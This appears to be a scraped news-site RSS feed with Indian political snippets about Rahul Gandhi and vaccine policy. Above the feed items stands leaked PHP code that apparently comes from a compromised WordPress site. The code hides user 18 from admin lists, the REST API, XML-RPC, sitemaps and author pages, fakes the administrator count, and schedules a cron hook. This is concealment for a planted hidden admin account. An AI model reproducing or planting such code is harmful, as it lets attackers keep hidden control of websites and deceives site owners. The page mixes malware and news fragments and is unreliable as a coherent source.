add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Shivraj Singh Chouhan accuses Rahul Gandhi of spreading “misconceptions, confusion and lies.” appeared first on The Edge Media.
]]>He was reacting to a tweet by Rahul Gandhi in which the latter had taken a swipe at Prime Minister Narendra Modi’s radio programme Mann Ki Baat.
“Bas Har Deshwasi Tak Vaccine Pahucha Do, Fir Chahe Mann Ki Baat Bhi Suna Do!” (Just deliver the vaccine to every citizen, and then put forth your Mann ki Baat if you want),” Rahul Gandhi had tweeted.
Hitting back, the Madhya Pradesh Chief Minister said the PM was providing free vaccines to all, while Rahul Gandhi was “only spreading confusion”.
“Shame on you Rahul Baba, it is prime minister Narendra Modi who is getting people vaccinated and not you. The prime minister is providing free vaccines to all the citizens of the country and you are only spreading confusion! You spread confusion, lied due to which many people refused to get vaccines,” Shivraj Singh Chouhan said on Twitter.
The post Shivraj Singh Chouhan accuses Rahul Gandhi of spreading “misconceptions, confusion and lies.” appeared first on The Edge Media.
]]>The post Allow walk-in Covid jabs, online registration not enough, says Rahul Gandhi appeared first on The Edge Media.
]]>On Wednesday, the government had announced that many rectification features had been introduced to the Co-WIN registration portal using which beneficiaries could now correct their name, year of birth, and gender on vaccination certificates and also raise an issue.
Rahul Gandhi tweeted in Hindi, “Online registration for vaccination is not enough. Everyone walking in to a vaccination centre should get the vaccine. Right to life belongs to those as well who do not have the internet.”
The post Allow walk-in Covid jabs, online registration not enough, says Rahul Gandhi appeared first on The Edge Media.
]]>The post Budget 2021: Rahul Gandhi has these expectations from the budget, know which sectors want special relief appeared first on The Edge Media.
]]>The post Budget 2021: Rahul Gandhi has these expectations from the budget, know which sectors want special relief appeared first on The Edge Media.
]]>The post Rahul Gandhi on Friday did a direct attack on Prime Minister Narendra Modi appeared first on The Edge Media.
]]>The post Rahul Gandhi on Friday did a direct attack on Prime Minister Narendra Modi appeared first on The Edge Media.
]]>